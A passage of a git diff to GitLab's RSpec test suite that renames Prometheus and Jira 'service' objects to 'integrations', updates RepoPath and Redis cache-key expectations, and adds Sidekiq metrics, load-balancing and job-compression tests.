let_it_be(:confidential_result) { create(:issue, :confidential, project: project, title: 'foo confidential') }
+
let(:query) { 'foo' }
before do
diff --git a/spec/lib/gitlab/prometheus/adapter_spec.rb b/spec/lib/gitlab/prometheus/adapter_spec.rb
index 1eaed65c805..5320fbc7c4f 100644
--- a/spec/lib/gitlab/prometheus/adapter_spec.rb
+++ b/spec/lib/gitlab/prometheus/adapter_spec.rb
@@ -9,31 +9,31 @@ RSpec.describe Gitlab::Prometheus::Adapter do
subject { described_class.new(project, cluster) }
describe '#prometheus_adapter' do
- context 'prometheus service can execute queries' do
- let(:prometheus_service) { double(:prometheus_service, can_query?: true) }
+ context 'prometheus integration can execute queries' do
+ let(:prometheus_integration) { double(:prometheus_integration, can_query?: true) }
before do
- allow(project).to receive(:find_or_initialize_service).with('prometheus').and_return prometheus_service
+ allow(project).to receive(:find_or_initialize_integration).with('prometheus').and_return prometheus_integration
end
- it 'return prometheus service as prometheus adapter' do
- expect(subject.prometheus_adapter).to eq(prometheus_service)
+ it 'return prometheus integration as prometheus adapter' do
+ expect(subject.prometheus_adapter).to eq(prometheus_integration)
end
context 'with cluster with prometheus available' do
let!(:prometheus) { create(:clusters_integrations_prometheus, cluster: cluster) }
- it 'returns prometheus service' do
- expect(subject.prometheus_adapter).to eq(prometheus_service)
+ it 'returns prometheus integration' do
+ expect(subject.prometheus_adapter).to eq(prometheus_integration)
end
end
end
- context "prometheus service can't execute queries" do
- let(:prometheus_service) { double(:prometheus_service, can_query?: false) }
+ context "prometheus integration can't execute queries" do
+ let(:prometheus_integration) { double(:prometheus_integration, can_query?: false) }
before do
- allow(project).to receive(:find_or_initialize_service).with('prometheus').and_return prometheus_service
+ allow(project).to receive(:find_or_initialize_integration).with('prometheus').and_return prometheus_integration
end
context 'with cluster with prometheus disabled' do
diff --git a/spec/lib/gitlab/prometheus/query_variables_spec.rb b/spec/lib/gitlab/prometheus/query_variables_spec.rb
index 1dbdb892a5d..d9cac3e1064 100644
--- a/spec/lib/gitlab/prometheus/query_variables_spec.rb
+++ b/spec/lib/gitlab/prometheus/query_variables_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Prometheus::QueryVariables do
describe '.call' do
let_it_be_with_refind(:environment) { create(:environment) }
+
let(:project) { environment.project }
let(:slug) { environment.slug }
let(:params) { {} }
diff --git a/spec/lib/gitlab/rate_limit_helpers_spec.rb b/spec/lib/gitlab/rate_limit_helpers_spec.rb
index e7d4c69d47b..d583c8e58fb 100644
--- a/spec/lib/gitlab/rate_limit_helpers_spec.rb
+++ b/spec/lib/gitlab/rate_limit_helpers_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::RateLimitHelpers, :clean_gitlab_redis_shared_state do
+RSpec.describe Gitlab::RateLimitHelpers, :clean_gitlab_redis_cache do
let(:limiter_class) do
Class.new do
include ::Gitlab::RateLimitHelpers
diff --git a/spec/lib/gitlab/reactive_cache_set_cache_spec.rb b/spec/lib/gitlab/reactive_cache_set_cache_spec.rb
index 19fb2ada476..f405b2ad86e 100644
--- a/spec/lib/gitlab/reactive_cache_set_cache_spec.rb
+++ b/spec/lib/gitlab/reactive_cache_set_cache_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::ReactiveCacheSetCache, :clean_gitlab_redis_cache do
let_it_be(:project) { create(:project) }
+
let(:cache_prefix) { 'cache_prefix' }
let(:expires_in) { 10.minutes }
let(:cache) { described_class.new(expires_in: expires_in) }
diff --git a/spec/lib/gitlab/reference_extractor_spec.rb b/spec/lib/gitlab/reference_extractor_spec.rb
index 229d49868d4..f6e69aa6533 100644
--- a/spec/lib/gitlab/reference_extractor_spec.rb
+++ b/spec/lib/gitlab/reference_extractor_spec.rb
@@ -227,7 +227,7 @@ RSpec.describe Gitlab::ReferenceExtractor do
context 'with an inactive external issue tracker' do
let(:project) { create(:project) }
- let!(:jira_service) { create(:jira_service, project: project, active: false) }
+ let!(:jira_integration) { create(:jira_integration, project: project, active: false) }
let(:issue) { create(:issue, project: project) }
context 'when GitLab issues are enabled' do
@@ -315,6 +315,7 @@ RSpec.describe Gitlab::ReferenceExtractor do
describe '#references' do
let_it_be(:user) { create(:user) }
let_it_be(:issue) { create(:issue, project: project) }
+
let(:text) { "Ref. #{issue.to_reference}" }
subject { described_class.new(project, user) }
diff --git a/spec/lib/gitlab/repo_path_spec.rb b/spec/lib/gitlab/repo_path_spec.rb
index 912efa6a5db..6cff0eff7e8 100644
--- a/spec/lib/gitlab/repo_path_spec.rb
+++ b/spec/lib/gitlab/repo_path_spec.rb
@@ -13,11 +13,11 @@ RSpec.describe ::Gitlab::RepoPath do
describe '.parse' do
context 'a repository storage path' do
- it 'parses a full repository project path' do
+ it 'parses a full project repository path' do
expect(described_class.parse(project.repository.full_path)).to eq([project, project, Gitlab::GlRepository::PROJECT, nil])
end
- it 'parses a full wiki project path' do
+ it 'parses a full project wiki repository path' do
expect(described_class.parse(project.wiki.repository.full_path)).to eq([project.wiki, project, Gitlab::GlRepository::WIKI, nil])
end
@@ -49,7 +49,7 @@ RSpec.describe ::Gitlab::RepoPath do
end
it 'parses a relative wiki path' do
- expect(described_class.parse(redirect.path + '.wiki.git')).to eq([project.wiki, project, Gitlab::GlRepository::WIKI, redirect_route])
+ expect(described_class.parse(redirect.path + '.wiki.git')).to eq([project.wiki, project, Gitlab::GlRepository::WIKI, "#{redirect_route}.wiki"])
end
it 'parses a relative path starting with /' do
@@ -57,7 +57,7 @@ RSpec.describe ::Gitlab::RepoPath do
end
it 'parses a redirected project snippet repository path' do
- expect(described_class.parse(redirect.path + "/snippets/#{project_snippet.id}.git")).to eq([project_snippet, project, Gitlab::GlRepository::SNIPPET, redirect_route])
+ expect(described_class.parse(redirect.path + "/snippets/#{project_snippet.id}.git")).to eq([project_snippet, project, Gitlab::GlRepository::SNIPPET, "#{redirect_route}/snippets/#{project_snippet.id}"])
end
end
end
@@ -70,8 +70,8 @@ RSpec.describe ::Gitlab::RepoPath do
describe '.find_project' do
context 'when finding a project by its canonical path' do
context 'when the cases match' do
- it 'returns the project and nil' do
- expect(described_class.find_project(project.full_path)).to eq([project, nil])
+ it 'returns the project' do
+ expect(described_class.find_project(project.full_path)).to eq(project)
end
end
@@ -80,45 +80,45 @@ RSpec.describe ::Gitlab::RepoPath do
# easy and safe to redirect someone to the correctly-cased URL. For git
# requests, we should accept wrongly-cased URLs because it is a pain to
# block people's git operations and force them to update remote URLs.
- it 'returns the project and nil' do
- expect(described_class.find_project(project.full_path.upcase)).to eq([project, nil])
+ it 'returns the project' do
+ expect(described_class.find_project(project.full_path.upcase)).to eq(project)
end
end
end
context 'when finding a project via a redirect' do
- it 'returns the project and nil' do
- expect(described_class.find_project(redirect.path)).to eq([project, redirect.path])
+ it 'returns the project' do
+ expect(described_class.find_project(redirect.path)).to eq(project)
end
end
end
describe '.find_snippet' do
it 'extracts path and id from personal snippet route' do
- expect(described_class.find_snippet("snippets/#{personal_snippet.id}")).to eq([personal_snippet, nil])
+ expect(described_class.find_snippet("snippets/#{personal_snippet.id}")).to eq(personal_snippet)
end
it 'extracts path and id from project snippet route' do
- expect(described_class.find_snippet("#{project.full_path}/snippets/#{project_snippet.id}")).to eq([project_snippet, nil])
+ expect(described_class.find_snippet("#{project.full_path}/snippets/#{project_snippet.id}")).to eq(project_snippet)
end
it 'returns nil for invalid snippet paths' do
aggregate_failures do
- expect(described_class.find_snippet("snippets/#{project_snippet.id}")).to eq([nil, nil])
- expect(described_class.find_snippet("#{project.full_path}/snippets/#{personal_snippet.id}")).to eq([nil, nil])
- expect(described_class.find_snippet('')).to eq([nil, nil])
+ expect(described_class.find_snippet("snippets/#{project_snippet.id}")).to be_nil
+ expect(described_class.find_snippet("#{project.full_path}/snippets/#{personal_snippet.id}")).to be_nil
+ expect(described_class.find_snippet('')).to be_nil
end
end
it 'returns nil for snippets not associated with the project' do
snippet = create(:project_snippet)
- expect(described_class.find_snippet("#{project.full_path}/snippets/#{snippet.id}")).to eq([nil, nil])
+ expect(described_class.find_snippet("#{project.full_path}/snippets/#{snippet.id}")).to be_nil
end
context 'when finding a project snippet via a redirect' do
- it 'returns the project and true' do
- expect(described_class.find_snippet("#{redirect.path}/snippets/#{project_snippet.id}")).to eq([project_snippet, redirect.path])
+ it 'returns the project snippet' do
+ expect(described_class.find_snippet("#{redirect.path}/snippets/#{project_snippet.id}")).to eq(project_snippet)
end
end
end
diff --git a/spec/lib/gitlab/repository_set_cache_spec.rb b/spec/lib/gitlab/repository_set_cache_spec.rb
index 9aeb9f11bac..4dcf9dc2c05 100644
--- a/spec/lib/gitlab/repository_set_cache_spec.rb
+++ b/spec/lib/gitlab/repository_set_cache_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe Gitlab::RepositorySetCache, :clean_gitlab_redis_cache do
shared_examples 'cache_key examples' do
it 'includes the namespace' do
- is_expected.to eq("foo:#{namespace}:set")
+ is_expected.to eq("#{gitlab_cache_namespace}:foo:#{namespace}:set")
end
context 'with a given namespace' do
@@ -23,7 +23,7 @@ RSpec.describe Gitlab::RepositorySetCache, :clean_gitlab_redis_cache do
let(:cache) { described_class.new(repository, extra_namespace: extra_namespace) }
it 'includes the full namespace' do
- is_expected.to eq("foo:#{namespace}:#{extra_namespace}:set")
+ is_expected.to eq("#{gitlab_cache_namespace}:foo:#{namespace}:#{extra_namespace}:set")
end
end
end
@@ -60,7 +60,7 @@ RSpec.describe Gitlab::RepositorySetCache, :clean_gitlab_redis_cache do
write_cache
redis_keys = Gitlab::Redis::Cache.with { |redis| redis.scan(0, match: "*") }.last
- expect(redis_keys).to include("branch_names:#{namespace}:set")
+ expect(redis_keys).to include("#{gitlab_cache_namespace}:branch_names:#{namespace}:set")
expect(cache.fetch('branch_names')).to contain_exactly('main')
end
@@ -95,8 +95,8 @@ RSpec.describe Gitlab::RepositorySetCache, :clean_gitlab_redis_cache do
expect(cache.read(:foo)).to be_empty
end
- it 'expires the new key format' do
- expect_any_instance_of(Redis).to receive(:unlink).with(cache.cache_key(:foo), cache.new_cache_key(:foo)) # rubocop:disable RSpec/AnyInstanceOf
+ it 'expires the old key format' do
+ expect_any_instance_of(Redis).to receive(:unlink).with(cache.cache_key(:foo), cache.old_cache_key(:foo)) # rubocop:disable RSpec/AnyInstanceOf
subject
end
diff --git a/spec/lib/gitlab/search_results_spec.rb b/spec/lib/gitlab/search_results_spec.rb
index a1b18172a31..2974893ec4a 100644
--- a/spec/lib/gitlab/search_results_spec.rb
+++ b/spec/lib/gitlab/search_results_spec.rb
@@ -11,6 +11,7 @@ RSpec.describe Gitlab::SearchResults do
let_it_be(:project) { create(:project, name: 'foo') }
let_it_be(:issue) { create(:issue, project: project, title: 'foo') }
let_it_be(:milestone) { create(:milestone, project: project, title: 'foo') }
+
let(:merge_request) { create(:merge_request, source_project: project, title: 'foo') }
let(:query) { 'foo' }
let(:filters) { {} }
@@ -228,10 +229,18 @@ RSpec.describe Gitlab::SearchResults do
let!(:new_updated) { create(:issue, project: project, title: 'updated recent', updated_at: 1.day.ago) }
let!(:very_old_updated) { create(:issue, project: project, title: 'updated very old', updated_at: 1.year.ago) }
+ let!(:less_popular_result) { create(:issue, project: project, title: 'less popular', upvotes_count: 10) }
+ let!(:popular_result) { create(:issue, project: project, title: 'popular', upvotes_count: 100) }
+ let!(:non_popular_result) { create(:issue, project: project, title: 'non popular', upvotes_count: 1) }
+
include_examples 'search results sorted' do
let(:results_created) { described_class.new(user, 'sorted', Project.order(:id), sort: sort, filters: filters) }
let(:results_updated) { described_class.new(user, 'updated', Project.order(:id), sort: sort, filters: filters) }
end
+
+ include_examples 'search results sorted by popularity' do
+ let(:results_popular) { described_class.new(user, 'popular', Project.order(:id), sort: sort, filters: filters) }
+ end
end
end
diff --git a/spec/lib/gitlab/shell_spec.rb b/spec/lib/gitlab/shell_spec.rb
index b0dc34e8abf..891b3639709 100644
--- a/spec/lib/gitlab/shell_spec.rb
+++ b/spec/lib/gitlab/shell_spec.rb
@@ -5,6 +5,7 @@ require 'stringio'
RSpec.describe Gitlab::Shell do
let_it_be(:project) { create(:project, :repository) }
+
let(:repository) { project.repository }
let(:gitlab_shell) { described_class.new }
diff --git a/spec/lib/gitlab/sidekiq_config_spec.rb b/spec/lib/gitlab/sidekiq_config_spec.rb
index d216b9d0c18..d2a53185acd 100644
--- a/spec/lib/gitlab/sidekiq_config_spec.rb
+++ b/spec/lib/gitlab/sidekiq_config_spec.rb
@@ -122,4 +122,43 @@ RSpec.describe Gitlab::SidekiqConfig do
expect(described_class.sidekiq_queues_yml_outdated?).to be(false)
end
end
+
+ describe '.worker_queue_mappings' do
+ it 'returns the worker class => queue mappings based on the current routing configuration' do
+ test_routes = [
+ ['urgency=high', 'default'],
+ ['*', nil]
+ ]
+
+ allow(::Gitlab::SidekiqConfig::WorkerRouter)
+ .to receive(:global).and_return(::Gitlab::SidekiqConfig::WorkerRouter.new(test_routes))
+
+ expect(described_class.worker_queue_mappings).to include('MergeWorker' => 'default',
+ 'Ci::BuildFinishedWorker' => 'default',
+ 'BackgroundMigrationWorker' => 'background_migration',
+ 'AdminEmailWorker' => 'cronjob:admin_email')
+ end
+ end
+
+ describe '.current_worker_queue_mappings' do
+ it 'returns worker queue mappings that have queues in the current Sidekiq options' do
+ test_routes = [
+ ['urgency=high', 'default'],
+ ['*', nil]
+ ]
+
+ allow(::Gitlab::SidekiqConfig::WorkerRouter)
+ .to receive(:global).and_return(::Gitlab::SidekiqConfig::WorkerRouter.new(test_routes))
+
+ allow(Sidekiq).to receive(:options).and_return(queues: %w[default background_migration])
+
+ mappings = described_class.current_worker_queue_mappings
+
+ expect(mappings).to include('MergeWorker' => 'default',
+ 'Ci::BuildFinishedWorker' => 'default',
+ 'BackgroundMigrationWorker' => 'background_migration')
+
+ expect(mappings).not_to include('AdminEmailWorker' => 'cronjob:admin_email')
+ end
+ end
end
diff --git a/spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb b/spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb
index dfdc1420eac..4406b34e638 100644
--- a/spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb
+++ b/spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb
@@ -298,6 +298,8 @@ RSpec.describe Gitlab::SidekiqLogging::StructuredLogger do
allow(Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(true)
end
+ let(:dbname) { ::Gitlab::Database.dbname(ActiveRecord::Base.connection) }
+
let(:expected_end_payload_with_db) do
expected_end_payload.merge(
'db_duration_s' => a_value >= 0.1,
@@ -311,7 +313,10 @@ RSpec.describe Gitlab::SidekiqLogging::StructuredLogger do
'db_primary_count' => a_value >= 1,
'db_primary_cached_count' => 0,
'db_primary_wal_count' => 0,
- 'db_primary_duration_s' => a_value > 0
+ 'db_primary_duration_s' => a_value > 0,
+ "db_primary_#{dbname}_duration_s" => a_value > 0,
+ 'db_primary_wal_cached_count' => 0,
+ 'db_replica_wal_cached_count' => 0
)
end
@@ -333,6 +338,8 @@ RSpec.describe Gitlab::SidekiqLogging::StructuredLogger do
'db_primary_count' => 0,
'db_primary_cached_count' => 0,
'db_primary_wal_count' => 0,
+ 'db_primary_wal_cached_count' => 0,
+ 'db_replica_wal_cached_count' => 0,
'db_primary_duration_s' => 0
)
end
@@ -342,7 +349,7 @@ RSpec.describe Gitlab::SidekiqLogging::StructuredLogger do
end
context 'when the job uses load balancing capabilities' do
- let(:expected_payload) { { 'database_chosen' => 'retry' } }
+ let(:expected_payload) { { 'load_balancing_strategy' => 'retry' } }
before do
allow(Time).to receive(:now).and_return(timestamp)
@@ -354,7 +361,7 @@ RSpec.describe Gitlab::SidekiqLogging::StructuredLogger do
expect(logger).to receive(:info).with(include(expected_payload)).ordered
call_subject(job, 'test_queue') do
- job[:database_chosen] = 'retry'
+ job['load_balancing_strategy'] = 'retry'
end
end
end
diff --git a/spec/lib/gitlab/sidekiq_middleware/client_metrics_spec.rb b/spec/lib/gitlab/sidekiq_middleware/client_metrics_spec.rb
index 82ca84f0697..698758a13fd 100644
--- a/spec/lib/gitlab/sidekiq_middleware/client_metrics_spec.rb
+++ b/spec/lib/gitlab/sidekiq_middleware/client_metrics_spec.rb
@@ -3,11 +3,12 @@
require 'spec_helper'
RSpec.describe Gitlab::SidekiqMiddleware::ClientMetrics do
+ let(:enqueued_jobs_metric) { double('enqueued jobs metric', increment: true) }
+
shared_examples "a metrics middleware" do
context "with mocked prometheus" do
- let(:enqueued_jobs_metric) { double('enqueued jobs metric', increment: true) }
-
before do
+ labels[:scheduling] = 'immediate'
allow(Gitlab::Metrics).to receive(:counter).with(described_class::ENQUEUED, anything).and_return(enqueued_jobs_metric)
end
@@ -32,4 +33,35 @@ RSpec.describe Gitlab::SidekiqMiddleware::ClientMetrics do
end
it_behaves_like 'metrics middleware with worker attribution'
+
+ context 'when mounted' do
+ before do
+ stub_const('TestWorker', Class.new)
+ TestWorker.class_eval do
+ include Sidekiq::Worker
+
+ def perform(*args)
+ end
+ end
+
+ allow(Gitlab::Metrics).to receive(:counter).and_return(Gitlab::Metrics::NullMetric.instance)
+ allow(Gitlab::Metrics).to receive(:counter).with(described_class::ENQUEUED, anything).and_return(enqueued_jobs_metric)
+ end
+
+ context 'when scheduling jobs for immediate execution' do
+ it 'increments enqueued jobs metric with scheduling label set to immediate' do
+ expect(enqueued_jobs_metric).to receive(:increment).with(a_hash_including(scheduling: 'immediate'), 1)
+
+ Sidekiq::Testing.inline! { TestWorker.perform_async }
+ end
+ end
+
+ context 'when scheduling jobs for future execution' do
+ it 'increments enqueued jobs metric with scheduling label set to delayed' do
+ expect(enqueued_jobs_metric).to receive(:increment).with(a_hash_including(scheduling: 'delayed'), 1)
+
+ Sidekiq::Testing.inline! { TestWorker.perform_in(1.second) }
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job_spec.rb b/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job_spec.rb
index a10a8883591..d67cb95f483 100644
--- a/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job_spec.rb
+++ b/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job_spec.rb
@@ -13,7 +13,7 @@ RSpec.describe Gitlab::SidekiqMiddleware::DuplicateJobs::DuplicateJob, :clean_gi
let(:queue) { 'authorized_projects' }
let(:idempotency_key) do
- hash = Digest::SHA256.hexdigest("#{job['class']}:#{job['args'].join('-')}")
+ hash = Digest::SHA256.hexdigest("#{job['class']}:#{Sidekiq.dump_json(job['args'])}")
"#{Gitlab::Redis::Queues::SIDEKIQ_NAMESPACE}:duplicate:#{queue}:#{hash}"
end
diff --git a/spec/lib/gitlab/sidekiq_middleware/server_metrics_spec.rb b/spec/lib/gitlab/sidekiq_middleware/server_metrics_spec.rb
index 34b4541f339..3ec8d404bf0 100644
--- a/spec/lib/gitlab/sidekiq_middleware/server_metrics_spec.rb
+++ b/spec/lib/gitlab/sidekiq_middleware/server_metrics_spec.rb
@@ -8,11 +8,77 @@ RSpec.describe Gitlab::SidekiqMiddleware::ServerMetrics do
context "with mocked prometheus" do
include_context 'server metrics with mocked prometheus'
- describe '#initialize' do
+ describe '.initialize_process_metrics' do
it 'sets concurrency metrics' do
expect(concurrency_metric).to receive(:set).with({}, Sidekiq.options[:concurrency].to_i)
- subject
+ described_class.initialize_process_metrics
+ end
+
+ it 'initializes sidekiq_jobs_completion_seconds for the workers in the current Sidekiq process' do
+ allow(Gitlab::SidekiqConfig)
+ .to receive(:current_worker_queue_mappings)
+ .and_return('MergeWorker' => 'merge', 'Ci::BuildFinishedWorker' => 'default')
+
+ expect(completion_seconds_metric)
+ .to receive(:get).with(queue: 'merge',
+ worker: 'MergeWorker',
+ urgency: 'high',
+ external_dependencies: 'no',
+ feature_category: 'source_code_management',
+ boundary: '',
+ job_status: 'done')
+
+ expect(completion_seconds_metric)
+ .to receive(:get).with(queue: 'merge',
+ worker: 'MergeWorker',
+ urgency: 'high',
+ external_dependencies: 'no',
+ feature_category: 'source_code_management',
+ boundary: '',
+ job_status: 'fail')
+
+ expect(completion_seconds_metric)
+ .to receive(:get).with(queue: 'default',
+ worker: 'Ci::BuildFinishedWorker',
+ urgency: 'high',
+ external_dependencies: 'no',
+ feature_category: 'continuous_integration',
+ boundary: 'cpu',
+ job_status: 'done')
+
+ expect(completion_seconds_metric)
+ .to receive(:get).with(queue: 'default',
+ worker: 'Ci::BuildFinishedWorker',
+ urgency: 'high',
+ external_dependencies: 'no',
+ feature_category: 'continuous_integration',
+ boundary: 'cpu',
+ job_status: 'fail')
+
+ described_class.initialize_process_metrics
+ end
+
+ context 'when the sidekiq_job_completion_metric_initialize feature flag is disabled' do
+ before do
+ stub_feature_flags(sidekiq_job_completion_metric_initialize: false)
+ end
+
+ it 'sets the concurrency metric' do
+ expect(concurrency_metric).to receive(:set).with({}, Sidekiq.options[:concurrency].to_i)
+
+ described_class.initialize_process_metrics
+ end
+
+ it 'does not initialize sidekiq_jobs_completion_seconds' do
+ allow(Gitlab::SidekiqConfig)
+ .to receive(:current_worker_queue_mappings)
+ .and_return('MergeWorker' => 'merge', 'Ci::BuildFinishedWorker' => 'default')
+
+ expect(completion_seconds_metric).not_to receive(:get)
+
+ described_class.initialize_process_metrics
+ end
end
end
@@ -47,6 +113,26 @@ RSpec.describe Gitlab::SidekiqMiddleware::ServerMetrics do
subject.call(worker, job, :test) { nil }
end
+ it 'sets sidekiq_jobs_completion_seconds values that are compatible with those from .initialize_process_metrics' do
+ label_validator = Prometheus::Client::LabelSetValidator.new([:le])
+
+ allow(Gitlab::SidekiqConfig)
+ .to receive(:current_worker_queue_mappings)
+ .and_return('MergeWorker' => 'merge', 'Ci::BuildFinishedWorker' => 'default')
+
+ allow(completion_seconds_metric).to receive(:get) do |labels|
+ expect { label_validator.validate(labels) }.not_to raise_error
+ end
+
+ allow(completion_seconds_metric).to receive(:observe) do |labels, _duration|
+ expect { label_validator.validate(labels) }.not_to raise_error
+ end
+
+ described_class.initialize_process_metrics
+
+ subject.call(worker, job, :test) { nil }
+ end
+
it 'sets the thread name if it was nil' do
allow(Thread.current).to receive(:name).and_return(nil)
expect(Thread.current).to receive(:name=).with(Gitlab::Metrics::Samplers::ThreadsSampler::SIDEKIQ_WORKER_THREAD_NAME)
@@ -109,22 +195,20 @@ RSpec.describe Gitlab::SidekiqMiddleware::ServerMetrics do
end
context 'DB load balancing' do
- using RSpec::Parameterized::TableSyntax
-
subject { described_class.new }
let(:queue) { :test }
let(:worker_class) { worker.class }
- let(:job) { {} }
- let(:job_status) { :done }
- let(:labels_with_job_status) { default_labels.merge(job_status: job_status.to_s) }
- let(:default_labels) do
- { queue: queue.to_s,
- worker: worker_class.to_s,
- boundary: "",
- external_dependencies: "no",
- feature_category: "",
- urgency: "low" }
+ let(:worker) { TestWorker.new }
+ let(:client_middleware) { Gitlab::Database::LoadBalancing::SidekiqClientMiddleware.new }
+ let(:load_balancer) { double.as_null_object }
+ let(:load_balancing_metric) { double('load balancing metric') }
+ let(:job) { { "retry" => 3, "job_id" => "a180b47c-3fd6-41b8-81e9-34da61c3400e" } }
+
+ def process_job
+ client_middleware.call(worker_class, job, queue, double) do
+ worker_class.process_job(job)
+ end
end
before do
@@ -132,84 +216,97 @@ RSpec.describe Gitlab::SidekiqMiddleware::ServerMetrics do
TestWorker.class_eval do
include Sidekiq::Worker
include WorkerAttributes
+
+ def perform(*args)
+ end
end
+
+ allow(::Gitlab::Database::LoadBalancing).to receive_message_chain(:proxy, :load_balancer).and_return(load_balancer)
+ allow(load_balancing_metric).to receive(:increment)
+ allow(Gitlab::Metrics).to receive(:counter).with(:sidekiq_load_balancing_count, anything).and_return(load_balancing_metric)
end
- let(:worker) { TestWorker.new }
+ around do |example|
+ with_sidekiq_server_middleware do |chain|
+ chain.add Gitlab::Database::LoadBalancing::SidekiqServerMiddleware
+ chain.add described_class
+ Sidekiq::Testing.inline! { example.run }
+ end
+ end
include_context 'server metrics with mocked prometheus'
+ include_context 'server metrics call'
+ include_context 'clear DB Load Balancing configuration'
- context 'when load_balancing is enabled' do
- let(:load_balancing_metric) { double('load balancing metric') }
-
- include_context 'clear DB Load Balancing configuration'
+ shared_context 'worker declaring data consistency' do
+ let(:worker_class) { LBTestWorker }
before do
- allow(::Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(true)
- allow(Gitlab::Metrics).to receive(:counter).with(:sidekiq_load_balancing_count, anything).and_return(load_balancing_metric)
- end
-
- describe '#initialize' do
- it 'sets load_balancing metrics' do
- expect(Gitlab::Metrics).to receive(:counter).with(:sidekiq_load_balancing_count, anything).and_return(load_balancing_metric)
+ stub_const('LBTestWorker', Class.new(TestWorker))
+ LBTestWorker.class_eval do
+ include ApplicationWorker
- subject
+ data_consistency :delayed
end
end
+ end
- describe '#call' do
- include_context 'server metrics call'
-
- context 'when :database_chosen is provided' do
- where(:database_chosen) do
- %w[primary retry replica]
- end
-
- with_them do
- context "when #{params[:database_chosen]} is used" do
- let(:labels_with_load_balancing) do
- labels_with_job_status.merge(database_chosen: database_chosen, data_consistency: 'delayed')
- end
+ context 'when load_balancing is enabled' do
+ before do
+ allow(::Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(true)
+ end
- before do
- job[:database_chosen] = database_chosen
- job[:data_consistency] = 'delayed'
- allow(load_balancing_metric).to receive(:increment)
- end
+ describe '#call' do
+ context 'when worker declares data consistency' do
+ include_context 'worker declaring data consistency'
- it 'increment sidekiq_load_balancing_count' do
- expect(load_balancing_metric).to receive(:increment).with(labels_with_load_balancing, 1)
+ it 'increments load balancing counter with defined data consistency' do
+ process_job
- described_class.new.call(worker, job, :test) { nil }
- end
- end
+ expect(load_balancing_metric).to have_received(:increment).with(
+ a_hash_including(
+ data_consistency: :delayed,
+ load_balancing_strategy: 'replica'
+ ), 1)
end
end
- context 'when :database_chosen is not provided' do
- it 'does not increment sidekiq_load_balancing_count' do
- expect(load_balancing_metric).not_to receive(:increment)
+ context 'when worker does not declare data consistency' do
+ it 'increments load balancing counter with default data consistency' do
+ process_job
- described_class.new.call(worker, job, :test) { nil }
+ expect(load_balancing_metric).to have_received(:increment).with(
+ a_hash_including(
+ data_consistency: :always,
+ load_balancing_strategy: 'primary'
+ ), 1)
end
end
end
end
context 'when load_balancing is disabled' do
- include_context 'clear DB Load Balancing configuration'
+ include_context 'worker declaring data consistency'
before do
allow(::Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(false)
end
describe '#initialize' do
- it 'doesnt set load_balancing metrics' do
+ it 'does not set load_balancing metrics' do
expect(Gitlab::Metrics).not_to receive(:counter).with(:sidekiq_load_balancing_count, anything)
subject
end
end
+
+ describe '#call' do
+ it 'does not increment load balancing counter' do
+ process_job
+
+ expect(load_balancing_metric).not_to have_received(:increment)
+ end
+ end
end
end
end
diff --git a/spec/lib/gitlab/sidekiq_middleware/size_limiter/validator_spec.rb b/spec/lib/gitlab/sidekiq_middleware/size_limiter/validator_spec.rb
index 4fbe59c3c27..440eca10a88 100644
--- a/spec/lib/gitlab/sidekiq_middleware/size_limiter/validator_spec.rb
+++ b/spec/lib/gitlab/sidekiq_middleware/size_limiter/validator_spec.rb
@@ -230,11 +230,11 @@ RSpec.describe Gitlab::SidekiqMiddleware::SizeLimiter::Validator do
end
context 'in compress mode' do
+ let(:size_limit) { 50 }
+ let(:compression_threshold) { 30 }
let(:mode) { 'compress' }
context 'when job size is less than compression threshold' do
- let(:size_limit) { 50 }
- let(:compression_threshold) { 30 }
let(:job) { job_payload(a: 'a' * 10) }
it 'does not raise an exception' do
@@ -244,8 +244,6 @@ RSpec.describe Gitlab::SidekiqMiddleware::SizeLimiter::Validator do
end
context 'when job size is bigger than compression threshold and less than size limit after compressed' do
- let(:size_limit) { 50 }
- let(:compression_threshold) { 30 }
let(:args) { { a: 'a' * 300 } }
let(:job) { job_payload(args) }
@@ -260,9 +258,20 @@ RSpec.describe Gitlab::SidekiqMiddleware::SizeLimiter::Validator do
end
end
+ context 'when the job was already compressed' do
+ let(:job) do
+ job_payload({ a: 'a' * 10 })
+ .merge(Gitlab::SidekiqMiddleware::SizeLimiter::Compressor::COMPRESSED_KEY => true)
+ end
+
+ it 'does not compress the arguments again' do
+ expect(Gitlab::SidekiqMiddleware::SizeLimiter::Compressor).not_to receive(:compress)
+
+ expect { validate.call(TestSizeLimiterWorker, job) }.not_to raise_error
+ end
+ end
+
context 'when job size is bigger than compression threshold and bigger than size limit after compressed' do
- let(:size_limit) { 50 }
- let(:compression_threshold) { 30 }
let(:args) { { a: 'a' * 3000 } }
let(:job) { job_payload(args) }
diff --git a/spec/lib/gitlab/sidekiq_middleware/worker_context/client_spec.rb b/spec/lib/gitlab/sidekiq_middleware/worker_context/client_spec.rb
index fff925f8532..d6cc787f53d 100644
--- a/spec/lib/gitlab/sidekiq_middleware/worker_context/client_spec.rb
+++ b/spec/lib/gitlab/sidekiq_middleware/worker_context/client_spec.rb
@@ -11,6 +11,8 @@ RSpec.describe Gitlab::SidekiqMiddleware::WorkerContext::Client do
include ApplicationWorker
+ feature_category :issue_tracking
+
def self.job_for_args(args)
jobs.find { |job| job['args'] == args }
end
@@ -41,5 +43,39 @@ RSpec.describe Gitlab::SidekiqMiddleware::WorkerContext::Client do
expect(job1['meta.user']).to eq(user_per_job['job1'].username)
expect(job2['meta.user']).to eq(user_per_job['job2'].username)
end
+
+ context 'when the feature category is set in the context_proc' do
+ it 'takes the feature category from the worker, not the caller' do
+ TestWithContextWorker.bulk_perform_async_with_contexts(
+ %w(job1 job2),
